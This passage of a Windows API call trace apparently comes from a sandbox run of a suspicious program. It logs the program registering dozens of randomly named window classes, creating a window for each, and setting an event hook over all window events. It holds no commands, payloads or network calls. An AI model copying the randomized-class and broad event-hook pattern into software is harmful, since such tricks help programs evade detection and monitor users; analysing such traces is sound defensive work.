lParam=0x50108) returned 0x0 [0051.694] GetCurrentThreadId () returned 0xee0 [0051.694] __fnDWORD () [0051.694] GetClassLongA (hWnd=0x6001e, nIndex=-26) returned 0x0 [0051.694] SetClassLongA (hWnd=0x6001e, nIndex=-26, dwNewLong=131072) returned 0x0 [0051.694] NtUserCallOneParam (Param=0x6001e, Routine=0x32) returned 0x2921370 [0051.694] RegisterClassA (lpWndClass=0x261fbd0) returned 0x852c1bd [0051.695] CreateWindowExA (dwExStyle=0x0, lpClassName="Uxilfc", lpWindowName=0x0, dwStyle=0xcf0000, X=8535, Y=8800, nWidth=258, nHeight=118, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.695] GetCurrentThreadId () returned 0xee0 [0051.695] GetClassNameA (in: hWnd=0x3014a, lpClassName=0x261f3f0, nMaxCount=260 | out: lpClassName="Uxilfc") returned 6 [0051.695] _strcmpi (_Str1="Uxilfc", _Str2="sysshadow") returned 2 [0051.695] _strcmpi (_Str1="Uxilfc", _Str2="msctfime ui") returned 8 [0051.695] __fnINLPCREATESTRUCT () [0051.695] GetCurrentThreadId () returned 0xee0 [0051.695] GetClassNameA (in: hWnd=0x3014a, lpClassName=0x261f3f0, nMaxCount=260 | out: lpClassName="Uxilfc") returned 6 [0051.695] _strcmpi (_Str1="Uxilfc", _Str2="sysshadow") returned 2 [0051.695] _strcmpi (_Str1="Uxilfc", _Str2="msctfime ui") returned 8 [0051.695] __fnINLPCREATESTRUCT () [0051.695] NtUserCallOneParam (Param=0x3014a, Routine=0x32) returned 0x29217c0 [0051.695] GetCurrentThreadId () returned 0xee0 [0051.695] SetWinEventHook (eventMin=0x1, eventMax=0x7fffffff, hmodWinEventProc=0x400000, pfnWinEventProc=0x25220c, idProcess=0x0, idThread=0xee0, dwFlags=0x0) returned 0x800fb [0051.695] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c107 [0051.695] CreateWindowExA (dwExStyle=0x4, lpClassName="Olpaf", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.695] GetCurrentThreadId () returned 0xee0 [0051.695] GetClassNameA (in: hWnd=0x20336, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Olpaf") returned 5 [0051.695] _strcmpi (_Str1="Olpaf", _Str2="sysshadow") returned -4 [0051.695] _strcmpi (_Str1="Olpaf", _Str2="msctfime ui") returned 2 [0051.695] __fnINLPCREATESTRUCT () [0051.696] GetCurrentThreadId () returned 0xee0 [0051.696] GetClassNameA (in: hWnd=0x20336, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Olpaf") returned 5 [0051.696] _strcmpi (_Str1="Olpaf", _Str2="sysshadow") returned -4 [0051.696] _strcmpi (_Str1="Olpaf", _Str2="msctfime ui") returned 2 [0051.696] __fnINLPCREATESTRUCT () [0051.696] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1be [0051.696] CreateWindowExA (dwExStyle=0x4, lpClassName="Jfq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.696] GetCurrentThreadId () returned 0xee0 [0051.696] GetClassNameA (in: hWnd=0x30148, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Jfq") returned 3 [0051.696] _strcmpi (_Str1="Jfq", _Str2="sysshadow") returned -9 [0051.696] _strcmpi (_Str1="Jfq", _Str2="msctfime ui") returned -3 [0051.696] __fnINLPCREATESTRUCT () [0051.696] GetCurrentThreadId () returned 0xee0 [0051.696] GetClassNameA (in: hWnd=0x30148, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Jfq") returned 3 [0051.697] _strcmpi (_Str1="Jfq", _Str2="sysshadow") returned -9 [0051.697] _strcmpi (_Str1="Jfq", _Str2="msctfime ui") returned -3 [0051.697] __fnINLPCREATESTRUCT () [0051.697] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c059 [0051.697] CreateWindowExA (dwExStyle=0x4, lpClassName="Nndsco", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.697] GetCurrentThreadId () returned 0xee0 [0051.697] GetClassNameA (in: hWnd=0xc009c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Nndsco") returned 6 [0051.697] _strcmpi (_Str1="Nndsco", _Str2="sysshadow") returned -5 [0051.697] _strcmpi (_Str1="Nndsco", _Str2="msctfime ui") returned 1 [0051.697] __fnINLPCREATESTRUCT () [0051.697] GetCurrentThreadId () returned 0xee0 [0051.697] GetClassNameA (in: hWnd=0xc009c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Nndsco") returned 6 [0051.697] _strcmpi (_Str1="Nndsco", _Str2="sysshadow") returned -5 [0051.697] _strcmpi (_Str1="Nndsco", _Str2="msctfime ui") returned 1 [0051.697] __fnINLPCREATESTRUCT () [0051.697] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c0de [0051.697] CreateWindowExA (dwExStyle=0x4, lpClassName="Pbxye", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.698] GetCurrentThreadId () returned 0xee0 [0051.698] GetClassNameA (in: hWnd=0x30334, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Pbxye") returned 5 [0051.698] _strcmpi (_Str1="Pbxye", _Str2="sysshadow") returned -3 [0051.698] _strcmpi (_Str1="Pbxye", _Str2="msctfime ui") returned 3 [0051.698] __fnINLPCREATESTRUCT () [0051.698] GetCurrentThreadId () returned 0xee0 [0051.698] GetClassNameA (in: hWnd=0x30334, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Pbxye") returned 5 [0051.698] _strcmpi (_Str1="Pbxye", _Str2="sysshadow") returned -3 [0051.698] _strcmpi (_Str1="Pbxye", _Str2="msctfime ui") returned 3 [0051.698] __fnINLPCREATESTRUCT () [0051.698] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1c0 [0051.698] CreateWindowExA (dwExStyle=0x4, lpClassName="Ater", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.698] GetCurrentThreadId () returned 0xee0 [0051.698] GetClassNameA (in: hWnd=0x20330, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ater") returned 4 [0051.698] _strcmpi (_Str1="Ater", _Str2="sysshadow") returned -18 [0051.698] _strcmpi (_Str1="Ater", _Str2="msctfime ui") returned -12 [0051.698] __fnINLPCREATESTRUCT () [0051.698] GetCurrentThreadId () returned 0xee0 [0051.698] GetClassNameA (in: hWnd=0x20330, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ater") returned 4 [0051.698] _strcmpi (_Str1="Ater", _Str2="sysshadow") returned -18 [0051.698] _strcmpi (_Str1="Ater", _Str2="msctfime ui") returned -12 [0051.698] __fnINLPCREATESTRUCT () [0051.698] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1c1 [0051.698] CreateWindowExA (dwExStyle=0x4, lpClassName="Lserg", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.699] GetCurrentThreadId () returned 0xee0 [0051.699] GetClassNameA (in: hWnd=0x20332, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Lserg") returned 5 [0051.699] _strcmpi (_Str1="Lserg", _Str2="sysshadow") returned -7 [0051.699] _strcmpi (_Str1="Lserg", _Str2="msctfime ui") returned -1 [0051.699] __fnINLPCREATESTRUCT () [0051.699] GetCurrentThreadId () returned 0xee0 [0051.699] GetClassNameA (in: hWnd=0x20332, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Lserg") returned 5 [0051.699] _strcmpi (_Str1="Lserg", _Str2="sysshadow") returned -7 [0051.699] _strcmpi (_Str1="Lserg", _Str2="msctfime ui") returned -1 [0051.699] __fnINLPCREATESTRUCT () [0051.699] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1c2 [0051.699] CreateWindowExA (dwExStyle=0x4, lpClassName="Gpanrp", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.699] GetCurrentThreadId () returned 0xee0 [0051.699] GetClassNameA (in: hWnd=0x20324, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Gpanrp") returned 6 [0051.699] _strcmpi (_Str1="Gpanrp", _Str2="sysshadow") returned -12 [0051.699] _strcmpi (_Str1="Gpanrp", _Str2="msctfime ui") returned -6 [0051.699] __fnINLPCREATESTRUCT () [0051.699] GetCurrentThreadId () returned 0xee0 [0051.699] GetClassNameA (in: hWnd=0x20324, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Gpanrp") returned 6 [0051.699] _strcmpi (_Str1="Gpanrp", _Str2="sysshadow") returned -12 [0051.699] _strcmpi (_Str1="Gpanrp", _Str2="msctfime ui") returned -6 [0051.699] __fnINLPCREATESTRUCT () [0051.699] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1c3 [0051.700] CreateWindowExA (dwExStyle=0x4, lpClassName="Xgjw", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.700] GetCurrentThreadId () returned 0xee0 [0051.700] GetClassNameA (in: hWnd=0x20326, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Xgjw") returned 4 [0051.700] _strcmpi (_Str1="Xgjw", _Str2="sysshadow") returned 5 [0051.700] _strcmpi (_Str1="Xgjw", _Str2="msctfime ui") returned 11 [0051.700] __fnINLPCREATESTRUCT () [0051.700] GetCurrentThreadId () returned 0xee0 [0051.700] GetClassNameA (in: hWnd=0x20326, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Xgjw") returned 4 [0051.700] _strcmpi (_Str1="Xgjw", _Str2="sysshadow") returned 5 [0051.700] _strcmpi (_Str1="Xgjw", _Str2="msctfime ui") returned 11 [0051.700] __fnINLPCREATESTRUCT () [0051.700] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1c4 [0051.700] CreateWindowExA (dwExStyle=0x4, lpClassName="Oylge", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.700] GetCurrentThreadId () returned 0xee0 [0051.700] GetClassNameA (in: hWnd=0x20320, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Oylge") returned 5 [0051.700] _strcmpi (_Str1="Oylge", _Str2="sysshadow") returned -4 [0051.700] _strcmpi (_Str1="Oylge", _Str2="msctfime ui") returned 2 [0051.700] __fnINLPCREATESTRUCT () [0051.700] GetCurrentThreadId () returned 0xee0 [0051.700] GetClassNameA (in: hWnd=0x20320, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Oylge") returned 5 [0051.700] _strcmpi (_Str1="Oylge", _Str2="sysshadow") returned -4 [0051.700] _strcmpi (_Str1="Oylge", _Str2="msctfime ui") returned 2 [0051.700] __fnINLPCREATESTRUCT () [0051.700] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1c5 [0051.700] CreateWindowExA (dwExStyle=0x4, lpClassName="Uqpa", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.700] GetCurrentThreadId () returned 0xee0 [0051.700] GetClassNameA (in: hWnd=0x20322, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Uqpa") returned 4 [0051.700] _strcmpi (_Str1="Uqpa", _Str2="sysshadow") returned 2 [0051.700] _strcmpi (_Str1="Uqpa", _Str2="msctfime ui") returned 8 [0051.700] __fnINLPCREATESTRUCT () [0051.701] GetCurrentThreadId () returned 0xee0 [0051.701] GetClassNameA (in: hWnd=0x20322, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Uqpa") returned 4 [0051.701] _strcmpi (_Str1="Uqpa", _Str2="sysshadow") returned 2 [0051.701] _strcmpi (_Str1="Uqpa", _Str2="msctfime ui") returned 8 [0051.701] __fnINLPCREATESTRUCT () [0051.701] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1c6 [0051.701] CreateWindowExA (dwExStyle=0x4, lpClassName="Ckzpb", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.701] GetCurrentThreadId () returned 0xee0 [0051.701] GetClassNameA (in: hWnd=0x2031c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ckzpb") returned 5 [0051.701] _strcmpi (_Str1="Ckzpb", _Str2="sysshadow") returned -16 [0051.701] _strcmpi (_Str1="Ckzpb", _Str2="msctfime ui") returned -10 [0051.701] __fnINLPCREATESTRUCT () [0051.701] GetCurrentThreadId () returned 0xee0 [0051.701] GetClassNameA (in: hWnd=0x2031c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ckzpb") returned 5 [0051.701] _strcmpi (_Str1="Ckzpb", _Str2="sysshadow") returned -16 [0051.701] _strcmpi (_Str1="Ckzpb", _Str2="msctfime ui") returned -10 [0051.701] __fnINLPCREATESTRUCT () [0051.701] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1c7 [0051.701] CreateWindowExA (dwExStyle=0x4, lpClassName="Lskix", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.701] GetCurrentThreadId () returned 0xee0 [0051.701] GetClassNameA (in: hWnd=0x2031e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Lskix") returned 5 [0051.701] _strcmpi (_Str1="Lskix", _Str2="sysshadow") returned -7 [0051.701] _strcmpi (_Str1="Lskix", _Str2="msctfime ui") returned -1 [0051.701] __fnINLPCREATESTRUCT () [0051.702] GetCurrentThreadId () returned 0xee0 [0051.702] GetClassNameA (in: hWnd=0x2031e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Lskix") returned 5 [0051.702] _strcmpi (_Str1="Lskix", _Str2="sysshadow") returned -7 [0051.702] _strcmpi (_Str1="Lskix", _Str2="msctfime ui") returned -1 [0051.702] __fnINLPCREATESTRUCT () [0051.702] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1c8 [0051.702] CreateWindowExA (dwExStyle=0x4, lpClassName="Vufwkp", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.702] GetCurrentThreadId () returned 0xee0 [0051.702] GetClassNameA (in: hWnd=0x20318, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vufwkp") returned 6 [0051.702] _strcmpi (_Str1="Vufwkp", _Str2="sysshadow") returned 3 [0051.702] _strcmpi (_Str1="Vufwkp", _Str2="msctfime ui") returned 9 [0051.702] __fnINLPCREATESTRUCT () [0051.702] GetCurrentThreadId () returned 0xee0 [0051.702] GetClassNameA (in: hWnd=0x20318, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vufwkp") returned 6 [0051.702] _strcmpi (_Str1="Vufwkp", _Str2="sysshadow") returned 3 [0051.702] _strcmpi (_Str1="Vufwkp", _Str2="msctfime ui") returned 9 [0051.702] __fnINLPCREATESTRUCT () [0051.702] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1c9 [0051.702] CreateWindowExA (dwExStyle=0x4, lpClassName="Nzxxn", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.702] GetCurrentThreadId () returned 0xee0 [0051.702] GetClassNameA (in: hWnd=0x2031a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Nzxxn") returned 5 [0051.702] _strcmpi (_Str1="Nzxxn", _Str2="sysshadow") returned -5 [0051.702] _strcmpi (_Str1="Nzxxn", _Str2="msctfime ui") returned 1 [0051.703] __fnINLPCREATESTRUCT () [0051.703] GetCurrentThreadId () returned 0xee0 [0051.703] GetClassNameA (in: hWnd=0x2031a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Nzxxn") returned 5 [0051.703] _strcmpi (_Str1="Nzxxn", _Str2="sysshadow") returned -5 [0051.703] _strcmpi (_Str1="Nzxxn", _Str2="msctfime ui") returned 1 [0051.703] __fnINLPCREATESTRUCT () [0051.703] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1ca [0051.703] CreateWindowExA (dwExStyle=0x4, lpClassName="Uernth", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.703] GetCurrentThreadId () returned 0xee0 [0051.703] GetClassNameA (in: hWnd=0x20314, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Uernth") returned 6 [0051.703] _strcmpi (_Str1="Uernth", _Str2="sysshadow") returned 2 [0051.703] _strcmpi (_Str1="Uernth", _Str2="msctfime ui") returned 8 [0051.703] __fnINLPCREATESTRUCT () [0051.703] GetCurrentThreadId () returned 0xee0 [0051.703] GetClassNameA (in: hWnd=0x20314, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Uernth") returned 6 [0051.703] _strcmpi (_Str1="Uernth", _Str2="sysshadow") returned 2 [0051.703] _strcmpi (_Str1="Uernth", _Str2="msctfime ui") returned 8 [0051.703] __fnINLPCREATESTRUCT () [0051.703] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1cb [0051.703] CreateWindowExA (dwExStyle=0x4, lpClassName="Henrch", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.703] GetCurrentThreadId () returned 0xee0 [0051.703] GetClassNameA (in: hWnd=0x20316, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Henrch") returned 6 [0051.703] _strcmpi (_Str1="Henrch", _Str2="sysshadow") returned -11 [0051.704] _strcmpi (_Str1="Henrch", _Str2="msctfime ui") returned -5 [0051.704] __fnINLPCREATESTRUCT () [0051.704] GetCurrentThreadId () returned 0xee0 [0051.704] GetClassNameA (in: hWnd=0x20316, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Henrch") returned 6 [0051.704] _strcmpi (_Str1="Henrch", _Str2="sysshadow") returned -11 [0051.704] _strcmpi (_Str1="Henrch", _Str2="msctfime ui") returned -5 [0051.704] __fnINLPCREATESTRUCT () [0051.704] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1cc [0051.704] CreateWindowExA (dwExStyle=0x4, lpClassName="Vwsxqq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.704] GetCurrentThreadId () returned 0xee0 [0051.704] GetClassNameA (in: hWnd=0x30310, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vwsxqq") returned 6 [0051.704] _strcmpi (_Str1="Vwsxqq", _Str2="sysshadow") returned 3 [0051.704] _strcmpi (_Str1="Vwsxqq", _Str2="msctfime ui") returned 9 [0051.704] __fnINLPCREATESTRUCT () [0051.704] GetCurrentThreadId () returned 0xee0 [0051.704] GetClassNameA (in: hWnd=0x30310, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vwsxqq") returned 6 [0051.704] _strcmpi (_Str1="Vwsxqq", _Str2="sysshadow") returned 3 [0051.704] _strcmpi (_Str1="Vwsxqq", _Str2="msctfime ui") returned 9 [0051.704] __fnINLPCREATESTRUCT () [0051.704] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1cd [0051.704] CreateWindowExA (dwExStyle=0x4, lpClassName="Qll", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.704] GetCurrentThreadId () returned 0xee0 [0051.704] GetClassNameA (in: hWnd=0x30312, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qll") returned 3 [0051.704] _strcmpi (_Str1="Qll", _Str2="sysshadow") returned -2 [0051.704] _strcmpi (_Str1="Qll", _Str2="msctfime ui") returned 4 [0051.704] __fnINLPCREATESTRUCT () [0051.705] GetCurrentThreadId () returned 0xee0 [0051.705] GetClassNameA (in: hWnd=0x30312, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qll") returned 3 [0051.705] _strcmpi (_Str1="Qll", _Str2="sysshadow") returned -2 [0051.705] _strcmpi (_Str1="Qll", _Str2="msctfime ui") returned 4 [0051.705] __fnINLPCREATESTRUCT () [0051.705] RegisterClassA (lpWndClass=0x261fae0) returned 0x20002c1ce [0051.705] CreateWindowExA (dwExStyle=0x4, lpClassName="Fpkbe", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.705] GetCurrentThreadId () returned 0xee0 [0051.705] GetClassNameA (in: hWnd=0x20328, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Fpkbe") returned 5 [0051.705] _strcmpi (_Str1="Fpkbe", _Str2="sysshadow") returned -13 [0051.705] _strcmpi (_Str1="Fpkbe", _Str2="msctfime ui") returned -7 [0051.705] __fnINLPCREATESTRUCT () [0051.705] GetCurrentThreadId () returned 0xee0 [0051.705] GetClassNameA (in: hWnd=0x20328, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Fpkbe") returned 5 [0051.705] _strcmpi (_Str1="Fpkbe", _Str2="sysshadow") returned -13 [0051.705] _strcmpi (_Str1="Fpkbe", _Str2="msctfime ui") returned -7 [0051.705] __fnINLPCREATESTRUCT () [0051.705] RegisterClassA (lpWndClass=0x261fae0) returned 0x60004c1cf [0051.705] CreateWindowExA (dwExStyle=0x4, lpClassName="Qrvpju", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.705] GetCurrentThreadId () returned 0xee0 [0051.705] GetClassNameA (in: hWnd=0x2032a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qrvpju") returned 6 [0051.705] _strcmpi (_Str1="Qrvpju", _Str2="sysshadow") returned -2 [0051.705] _strcmpi (_Str1="Qrvpju", _Str2="msctfime ui") returned 4 [0051.705] __fnINLPCREATESTRUCT () [0051.705] GetCurrentThreadId () returned 0xee0 [0051.705] GetClassNameA (in: hWnd=0x2032a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qrvpju") returned 6 [0051.705] _strcmpi (_Str1="Qrvpju", _Str2="sysshadow") returned -2 [0051.706] _strcmpi (_Str1="Qrvpju", _Str2="msctfime ui") returned 4 [0051.706] __fnINLPCREATESTRUCT () [0051.706] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1d0 [0051.706] CreateWindowExA (dwExStyle=0x4, lpClassName="Jxx", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.706] GetCurrentThreadId () returned 0xee0 [0051.706] GetClassNameA (in: hWnd=0x2032c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Jxx") returned 3 [0051.706] _strcmpi (_Str1="Jxx", _Str2="sysshadow") returned -9 [0051.706] _strcmpi (_Str1="Jxx", _Str2="msctfime ui") returned -3 [0051.706] __fnINLPCREATESTRUCT () [0051.706] GetCurrentThreadId () returned 0xee0 [0051.706] GetClassNameA (in: hWnd=0x2032c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Jxx") returned 3 [0051.706] _strcmpi (_Str1="Jxx", _Str2="sysshadow") returned -9 [0051.706] _strcmpi (_Str1="Jxx", _Str2="msctfime ui") returned -3 [0051.706] __fnINLPCREATESTRUCT () [0051.706] RegisterClassA (lpWndClass=0x261fae0) returned 0x852c1d1 [0051.706] CreateWindowExA (dwExStyle=0x4, lpClassName="Kyd", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.706] GetCurrentThreadId () returned 0xee0 [0051.706] GetClassNameA (in: hWnd=0x2032e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Kyd") returned 3 [0051.706] _strcmpi (_Str1="Kyd", _Str2="sysshadow") returned -8 [0051.706] _strcmpi (_Str1="Kyd", _Str2="msctfime ui") returned -2 [0051.706] __fnINLPCREATESTRUCT () [0051.706] GetCurrentThreadId () returned 0xee0 [0051.706] GetClassNameA (in: hWnd=0x2032e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Kyd") returned 3 [0051.706] _strcmpi (_Str1="Kyd", _Str2="sysshadow") returned -8 [0051.706] _strcmpi (_Str1="Kyd", _Str2="msctfime ui") returned -2 [0051.706] __fnINLPCREATESTRUCT () [0051.706] RegisterClassA (lpWndClass=0x261fae0) returned 0x20002c1d2 [0051.706] CreateWindowExA (dwExStyle=0x4, lpClassName="Tuv", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.706] GetCurrentThreadId () returned 0xee0 [0051.706] GetClassNameA (in: hWnd=0x30146, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tuv") returned 3 [0051.707] _strcmpi (_Str1="Tuv", _Str2="sysshadow") returned 1 [0051.707] _strcmpi (_Str1="Tuv", _Str2="msctfime ui") returned 7 [0051.707] __fnINLPCREATESTRUCT () [0051.707] GetCurrentThreadId () returned 0xee0 [0051.707] GetClassNameA (in: hWnd=0x30146, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tuv") returned 3 [0051.707] _strcmpi (_Str1="Tuv", _Str2="sysshadow") returned 1 [0051.707] _strcmpi (_Str1="Tuv", _Str2="msctfime ui") returned 7 [0051.707] __fnINLPCREATESTRUCT () [0051.707] RegisterClassA (lpWndClass=0x261fae0) returned 0xa0002c1d3 [0051.707] CreateWindowExA (dwExStyle=0x4, lpClassName="Zwbj", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.707] GetCurrentThreadId () returned 0xee0 [0051.707] GetClassNameA (in: hWnd=0x4030e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Zwbj") returned 4 [0051.707] _strcmpi (_Str1="Zwbj", _Str2="sysshadow") returned 7 [0051.707] _strcmpi (_Str1="Zwbj", _Str2="msctfime ui") returned 13 [0051.707] __fnINLPCREATESTRUCT () [0051.707] GetCurrentThreadId () returned 0xee0 [0051.707] GetClassNameA (in: hWnd=0x4030e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Zwbj") returned 4 [0051.707] _strcmpi (_Str1="Zwbj", _Str2="sysshadow") returned 7 [0051.707] _strcmpi (_Str1="Zwbj", _Str2="msctfime ui") returned 13 [0051.707] __fnINLPCREATESTRUCT () [0051.707] RegisterClassA (lpWndClass=0x261fae0) returned 0xe0004c1d4 [0051.707] CreateWindowExA (dwExStyle=0x4, lpClassName="Iftvd", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.707] GetCurrentThreadId () returned 0xee0 [0051.707] GetClassNameA (in: hWnd=0x10338, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Iftvd") returned 5 [0051.707] _strcmpi (_Str1="Iftvd", _Str2="sysshadow") returned -10 [0051.707] _strcmpi (_Str1="Iftvd", _Str2="msctfime ui") returned -4 [0051.707] __fnINLPCREATESTRUCT () [0051.708] GetCurrentThreadId () returned 0xee0 [0051.708] GetClassNameA (in: hWnd=0x10338, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Iftvd") returned 5 [0051.708] _strcmpi (_Str1="Iftvd", _Str2="sysshadow") returned -10 [0051.708] _strcmpi (_Str1="Iftvd", _Str2="msctfime ui") returned -4 [0051.708] __fnINLPCREATESTRUCT () [0051.708] RegisterClassA (lpWndClass=0x261fae0) returned 0x60003c1d5 [0051.708] CreateWindowExA (dwExStyle=0x4, lpClassName="Mug", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.708] GetCurrentThreadId () returned 0xee0 [0051.708] GetClassNameA (in: hWnd=0x1033a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Mug") returned 3 [0051.708] _strcmpi (_Str1="Mug", _Str2="sysshadow") returned -6 [0051.708] _strcmpi (_Str1="Mug", _Str2="msctfime ui") returned 2 [0051.708] __fnINLPCREATESTRUCT () [0051.708] GetCurrentThreadId () returned 0xee0 